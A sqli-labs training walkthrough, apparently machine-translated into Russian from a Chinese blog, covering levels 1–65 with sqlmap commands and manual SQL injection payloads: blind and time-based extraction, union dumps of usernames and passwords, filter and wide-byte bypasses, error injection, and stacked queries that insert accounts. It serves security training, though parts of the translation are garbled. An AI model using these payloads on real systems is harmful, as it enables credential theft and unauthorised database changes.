Полный учебник по Sqli-labs (ручная инъекция + инструменты с использованием sqlmap)

Совет: про ручную инъекцию писать не буду, обнаружил, что их много, и качество неплохое, давайте сегодня напишем туториал по очистке sqlmap.

Каталог статей


предисловие


提示:我只是跑表名来表示我注入成功,具体内容选项参加sqlmap使用帮助

1. sqli-labs1-10 (получить тип)

Это слишком просто, просто дайте шаблон, вы можете изменить его сами 关数, а если у вас закончилось имя таблицы, это успех

sqlmap -url "http://192.168.0.107/sqli-labs/Less-9/?id=1" --cookie="PHPSESSID=938ba4d9befdd8411a15a447" --batch -dbs

вставьте сюда описание изображения
Для некоторых сценариев ручной слепой инъекции

盲注

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
 
时间盲注9
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

2. sqli-labs 11-16 (базовый впрыск посттипа)

-rОт имени документа содержание документа является вашим почтовым сообщением.Что касается получения сообщения, это зависит от программного обеспечения, используемого человеком.Я использую BP

sqlmap -r Post-sqlinjection.txt --batch -dbs

вставьте сюда описание изображения
вставьте сюда описание изображения

3. Связь с БП

1.sqli-labs 17 (добавить опцию — добавление данных)

Это стоит отметить, потому что фон проверяет имя пользователя, но не фильтрует пароль, пароль такой, как точка, имя пользователя фиксируется, а Dhakkan
содержимое сообщения поста снимается.
вставьте сюда описание изображения

Очевидно, имя пользователя дано, только для изменения密码

sqlmap -url "http://192.168.0.107/sqli-labs/Less-17/" --cookie="PHPSESSID=938ba4d9befdd8411a15a447" --batch --data="uname=Dhakkan&passwd=1&submit=Submit" --dbs

вставьте сюда описание изображения

или

sqlmap -r Post-sqlinjection17ErrorInjection.txt --batch -dbs

Вы вводите данные в нем то же самое
вставьте сюда описание изображения
вставьте сюда описание изображения

2.sqli-labs 18 ( --level=3 --risk=3пользовательский агент как точка внедрения)

Это для добавления заголовка пользовательского агента, это место является точкой инъекции, а остальные фильтруются

вставьте сюда описание изображения
вставьте сюда описание изображения
вставьте сюда описание изображения

sqlmap -url "http://192.168.0.107/sqli-labs/Less-18/" --cookie="PHPSESSID=938ba4d9befdd8411a15a447" --batch --user-agent="1" --dbs --data="uname=Dhakkan&passwd=1&submit=Submit" --level=3 --risk=3

вставьте сюда описание изображения
То же самое, используйте сообщение, скопируйте его в 1.txt, а затем используйте 1.txt

sqlmap -r 1.txt --batch -dbs --level=3 --risk=3

вставьте сюда описание изображения
вставьте сюда описание изображения

3.sqli-labs 19 (укажите поле как точку внедрения)

вставьте сюда описание изображения

вставьте сюда описание изображения

 sqlmap -r 1.txt --batch -dbs --level=3 --risk=3
sqlmap -url "http://192.168.0.107/sqli-labs/Less-19/" --cookie="PHPSESSID=938ba4d9befdd8411a15a447" --batch --dbs --data="uname=Dhakkan&passwd=1&submit=Submit" --level=3 --risk=3 --referer="1"

Картинок больше нет, основные результаты те же, а тут две картинки в одной позиции

4. sqli-labs 20 (внедрение файлов cookie)

вставьте сюда описание изображения
вставьте сюда описание изображения

 sqlmap -r 1.txt --batch -dbs --level=3 --risk=3
sqlmap -url "http://192.168.0.107/sqli-labs/Less-20/index.php" --cookie="uname=dhakkan" --batch --dbs --data="uname=Dhakkan&passwd=1&submit=Submit" --level=3 --risk=3

5.sqli-labs 21 (куки в кодировке base64 --tamper="base64encode.py")

Закодируйте наш оператор инъекции, просто
вставьте сюда описание изображения
вставьте сюда описание изображения
напишите один, если вас интересует -url, вы можете сделать это самостоятельно.

sqlmap -r 1.txt --batch -dbs --level=3 --risk=3 --tamper="base64encode.py"

6.sqli-labs 22 (cookie двойные кавычки кодируют base64)

Скрипт не изменился, такой же как и 21

7.sqli-labs 23 (отфильтровать комментарии)

Комментарии фильтруются, что влияет на ручную инъекцию, но не влияет на
ручную инъекцию sqlmap Напишите сценарий для простоты понимания и закройте его одинарными кавычками

?id=1' or '1'='1
这样sql语句就变成 id='1' or '1'='1'
 
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1
 
?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1

Оператор sqlmap представляет собой общую инъекцию get-type, и есть инъекции get-type, написанные наверху.

8.sqli-labs 24 (база данных о загрязнениях)

На двадцать четвертом уровне есть страница входа, страница регистрации и страница изменения пароля.На этом уровне используется вторичное внедрение, потому что и страница входа, и страница регистрации используют функцию mysql_real_escape_string для экранирования специальных символов для паролей и имен учетных записей. Здесь мы используем страницу регистрации, потому что, хотя есть функция экранирования специальных символов, она экранируется только при вызове инструкции sql.Когда пароль учетной записи сохраняется в базе данных после успешной регистрации, он не экранируется.Исходные данные сохраняются в базе данных. Этот уровень в основном предназначен для изменения пароля администратора.
Средство состоит в том, чтобы зарегистрировать пользователя как admin'#. Подробная информация
вторичного впрыска sqli-labs24 off

http://www.manongjc.com/detail/57-kvexuwhtxaxbkpj.html

9.sqli-labs 25 (фильтр ИЛИ, И)

Двадцать пятый уровень - заменить или и и на пустое по подсказке, но только один раз. Обход дела не работает. Мы можем использовать двойную запись для обхода. На этом уровне может использоваться совместная инъекция, а информация может быть записана в виде информации. Но sqlmap не дублирует сценарий обхода, потому что правила фильтрации зависят от ситуации. Слишком сложно, это правило фильтрации относительно простое, если вам интересно, вы можете сделать это самостоятельно.
Поместите оператор ручной инъекции

?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

вставьте сюда описание изображения

10.sqli-labs 26 (отфильтрованные операторы, комментарии, пробелы)

Двадцать шестой проход фильтрует логические операторы, комментарии и пробелы: нам нужно использовать одинарные кавычки для закрытия, двойную запись для обхода логических операторов или использование && и || для замены. Обход пробела Я нашел некоторую информацию в Интернете, есть много способов обойти ограничение пробела. Для пробелов есть много методов: %09 клавиша TAB (горизонтальная), %0a новая строка, %0c новая страница, %0d возврат функция, клавиша %0b TAB (вертикальная), пробел %a0, я не могу использовать его в Windows и kali, возможно, потому что apache не может его проанализировать. Можно обойти только с помощью (). Пространства для внедрения ошибок используются меньше, поэтому мы можем использовать внедрение ошибок.

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0   爆表

?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0     爆字段
 
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0   爆密码账户

вставьте сюда описание изображения

По сути, большая часть такого рода фильтрации не имеет скриптов, потому что фильтрация отличается, он может фильтровать больше, он может фильтровать меньше, поэтому многие из них не имеют скриптов и могут быть введены только вручную. Для 26 подойдет эта эквивалентная замена. Есть и другие функции.

11.sqli-labs 25a (цифровой впрыск, ничем не отличается от 25)

удалить одинарные кавычки
вставьте сюда описание изображения

12.sqli-labs 26a (аналогично 26, но с дополнительными скобками)

Нет ошибок, только слепая инъекция, некоторые коды слепой инъекции, обратитесь к приведенному выше сценарию ручной слепой инъекции, обратите внимание на замену

13.sqli-labs 27 (выбор фильтра и объединение)

Уровень 27 не фильтрует и и или, но фильтруются выбор и объединение, мы можем обойти заглавные буквы и переписать. Так что у sqlmap такого готового скрипта нет, а ситуаций слишком много. keyi написать некоторые целенаправленные.

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0  爆表

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0  爆字段
  
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0  爆密码账户

вставьте сюда описание изображения

14.sqli-labs 27a (больше двойных кавычек, чем 27 слепых заметок)

Проход заключен в двойные кавычки, и на странице не отображаются сообщения об ошибках. Правила фильтрации такие же, как и для уровня 27. Поэтому нам нужно использовать слепую и совместную инъекцию.

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1

%0A代表换行符,不影响语句执行
%3a是冒号":"
%5c是“/”

15.sqli-labs 28 (отфильтрованное объединение и выбор и пробелы, комментарии)

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
 
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1
 
 
 
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1
 
 

16.sqli-labs 28a (правила фильтрации union+select отличаются от 27)

?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
 

17.sqli-labs29 (проверить первый параметр, построить второй обход)

?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
 
?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+   爆字段
 
 
?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
爆密码账户
 
 

18.sqli-labs 30 (то же, что и 29, заменить одинарные кавычки на двойные)

?id=1&id=-2"%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
?id=1&id=-2"%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+   爆字段
 
?id=1&id=-2"%20union%20select%201,group_concat(password,username),3%20from%20users--+

19 .sqli-labs 31 (то же, что и 30, но с еще одной скобкой)

?id=1&id=-2")%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
?id=1&id=-2")%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+   爆字段
 
?id=1&id=-2")%20union%20select%201,group_concat(password,username),3%20from%20users--+

20.sqli-labs 32 (используйте escape-функцию, но база данных использует GBK и может быть введена через широкие байты)

?id=-1%df%27%20union%20select%201,database(),3%20--+
 
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
 
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段
 
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

21.sqli-labs 33 (то же, что и 32 широких байта для решения проблемы) также может использовать sqlmap

22.sqli-labs 34 (используйте addlashes() для экранирования, обход широкого байта)

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+  爆字段名
 
1%df%27 union select 1,group_concat(password,username) from users--+ 爆密码账户

23.sqli-labs 35 (Используйте добавочные слеши, но параметры не в кавычках, а совместный запрос передается напрямую)

?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
 
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段
 
?id=-1%20union%20select%201,group_concat(password,username),3%20from%20users--+

24.sqli-labs 36 (функция mysql_real_escape_string экранирует специальные символы, а параметр id не имеет одинарных кавычек) то же, что и 32

25.sqli-labs 37 (функция mysql_real_escape_string экранирует и учетную запись, и пароль, просто используйте широкое внедрение байтов) то же, что и 34

Тридцать седьмой уровень — отправка сообщения, используйте функцию mysql_real_escape_string, чтобы избежать учетной записи и пароля, и используйте широкое внедрение байтов. Это то же самое, что и тридцать четвертый уровень.

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+  爆字段名

1%df' union select 1,group_concat(password,username) from users--+ 爆密码账户

26.sqli-labs 38 (есть функция mysqli_multi_query, которая поддерживает несколько операторов sql одновременно.)

Тридцать восьмой уровень на самом деле закрыт одинарными кавычками, которые могут быть введены с закрытыми обычными одинарными кавычками, но здесь есть еще один вид внедрения, который является внедрением стека, потому что есть функция mysqli_multi_query, которая поддерживает несколько операторов SQL в в то же время.

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
#向数据表插入自己的账户密码

27.sqli-labs 39 (Параметр id представляет собой целое число, которое было введено совместно.)

?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()
 
?id=-1%20union%20select%201,group_concat(username,password),3%20from%20users

28.sqli-labs 40 (параметр id заключен в одинарные кавычки и круглые скобки, с использованием совместной инъекции)

?id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
 
?id=-1%27)%20union%20select%201,group_concat(username,password),3%20from%20users%20--+

29.sqli-labs 41 то же 39

30.sqli-labs 42 (инъекция стека)

Поскольку учетная запись была экранирована и пароль не обрабатывается, база данных не использует кодировку gbk и не может использовать широкое внедрение байтов, как указано выше, но есть функция внедрения стека, поэтому мы можем использовать внедрение стека там, где находится пароль. Вставьте учетную запись с паролем в базу данных, чтобы нам было очень просто использовать ее для повторного входа в систему.

login_user=1&login_password=1';insert into users(id,username,password) values ('39','less30','123456')--+&mysubmit=Login

31.sqli-labs 43 (Параметр пароля представляет собой инъекцию стека, заключенную в одинарные кавычки и круглые скобки.) То же, что и 42

login_user=1&login_password=1'); insert into users(id,username,password) values ('44','less34','123456')--+&mysubmit=Login

32.sqli-labs 44 42

33.sqli-labs 45 то же 43

34.sqli-labs 46 (используйте сортировку, используйте updataxml, чтобы сообщить о промахе)

?sort=1%20and%20(updatexml(1,concat(0x5c,(select%20group_concat(password,username)%20from%20users),0x5c),1))

35.sqli-labs 47 46

Сорок седьмой уровень аналогичен сорок шестому уровню, с еще одной закрытой одинарной кавычкой, вы можете использовать внедрение ошибок

36.sqli-labs 48 (отложенная инъекция) то же, что и 46

37.sqli-labs 49 (отложенная инъекция) то же, что и 47

38.sqli-labs 50 (внедрение ошибки updatexml, функция выполнения с несколькими операторами, внедрение задержки)

Как и на уровне 46, updatexml можно использовать для внедрения ошибок на уровне 50, но на этом уровне также можно использовать внедрение стека, поскольку функция mysqli_multi_query используется для поддержки выполнения нескольких операторов SQL. Также возможна отсроченная инъекция.

39.sqli-labs 51 (наложение задержек ошибок)

Параметр заключен в одинарные кавычки, и его можно внедрить с отчетом об ошибках, отложенным внедрением и многоуровневым внедрением. Параметр заключен в одинарные кавычки, и его можно внедрить с отчетом об ошибках, отложенным внедрением и многоуровневым внедрением.

40.sqli-labs 52 (стекинг, задержка)

Этот параметр имеет целочисленный тип, ошибки не отображаются, и можно использовать только внедрение в стек или отложенное внедрение. Этот параметр имеет целочисленный тип, ошибки не отображаются, и можно использовать только внедрение в стек или отложенное внедрение.

41.sqli-labs 53 (стекинг, задержка)

Параметр представляет собой символьный тип, заключенный в одинарные кавычки, ошибка не отображается, и можно использовать стековую инъекцию и отложенную инъекцию.

42.sqli-labs 54 (sqlmap нельзя использовать из-за ограниченного количества раз)

Для английской страницы перевода уровня 54 я узнал, что есть только десять возможностей ввода, и все имена таблиц, имена столбцов и т. д. будут случайным образом сброшены, если будет введено более десяти раз. Параметр id заключен в одинарные кавычки.
表名列名每个人都不一样

 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表名
 
 ?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='RND32WPI3I'--+  爆列名
 ?id=-1%27union%20select%201,group_concat(id,sessid,secret_3QXJ,tryy),3%20from%208fof1zun81--+  获取key值

вставьте сюда описание изображения
вставьте сюда описание изображения

43.sqli-labs 55 (sqlmap нельзя использовать из-за ограниченного количества раз, а id — целое число со скобками)

Пятьдесят пять уровней имеют 14 шансов, а параметр id представляет собой целое число со скобками.

?id=-1)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+   报表名
 
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='69jwmv27j9'--+ 爆列名

?id=-1) union select 1,group_concat(secret_D1DW),3 from 69jwmv27j9--+  获取key值

44.sqli-labs 56 (sqlmap нельзя использовать из-за ограниченного количества раз, а идентификатор представляет собой одну кавычку плюс скобки)

Уровень пятьдесят шесть аналогичен двум предыдущим уровням и требует одинарных кавычек и квадратных скобок.

?id=-1')%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+  爆表名

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='9ze4qmv307'--+ 爆列名
 
?id=-1') union select 1,group_concat(secret_CTVR),3 from 9ze4qmv307--+  获取key值
 

45.sqli-labs 57 (sqlmap нельзя использовать из-за ограниченного количества раз, а id состоит из двойных кавычек и скобок)

Пятьдесят семь уровней заключены в двойные кавычки.

46.sqli-labs 58 (данные, возвращаемые таргетом, обрабатываются, и sqlmap использовать нельзя)

Уровень 58 отличается от предыдущих уровней тем, что данные этого уровня получаются не напрямую из базы данных, а из массива. Так что совместная инъекция недопустима. Но есть отображение ошибок, так что можно использовать внедрение ошибок.

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
爆表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='8edjk8ipbk'),0x7e),1)--+
爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_6W8M) from challenges.8edjk8ipbk),0x7e),1)--+

47.sqli-labs 59 уровень 59 использует ту же вставку ошибок, что и уровень 58, а идентификатор является целым числом.

48.sqli-labs 60 level 60 Согласно сообщению об ошибке, мы можем знать, что параметр id состоит из двойных кавычек и скобок. То же, что 58

49.sqli-labs 61 Уровень 61 Согласно сообщению об ошибке, мы можем знать, что параметр id представляет собой одну кавычку плюс две скобки. То же, что 58

50. SQLi-labs 62 level 62 не имеет отображения ошибок, вы можете использовать Boolean слепую инъекцию и инъекцию времени. Параметр id состоит из одинарных кавычек и скобок.

51. SQLi-labs 63 level 63 не имеет отображения ошибок, и можно использовать Boolean слепую инъекцию и инъекцию времени. Параметр id заключен в одинарные кавычки.

55.sqli-labs 64 совпадает с 62, параметр id представляет собой целочисленный тип с двумя скобками.

56.sqli-labs 65 — это то же самое, что и 62, параметр id — целочисленный тип в скобках.


Помимо вышеописанной четкой фильтрации, или ограничения количества раз, или обработки данных, можно использовать sqlmap для инъекций, например

вставьте сюда описание изображения

вставьте сюда описание изображения

Подведем итог

Шаги внедрения Sql
Определить, является ли символ целым числом или символьным
типом, определить закрытый шодуа, а также для одинарных и двойных кавычек, какой из них сообщает об ошибке, а какой из них
Завершает закрытый оператор, заполняет в соответствии с кавычками и начинает внедрение без сообщения об ошибке
Код аудита для записи оператора инъекции

Конкретная ситуация, конкретный анализ.
Это не легко создать, пожалуйста, если это было полезно, до свидания!

рекомендация

отblog.csdn.net/qq_57223070/article/details/129189398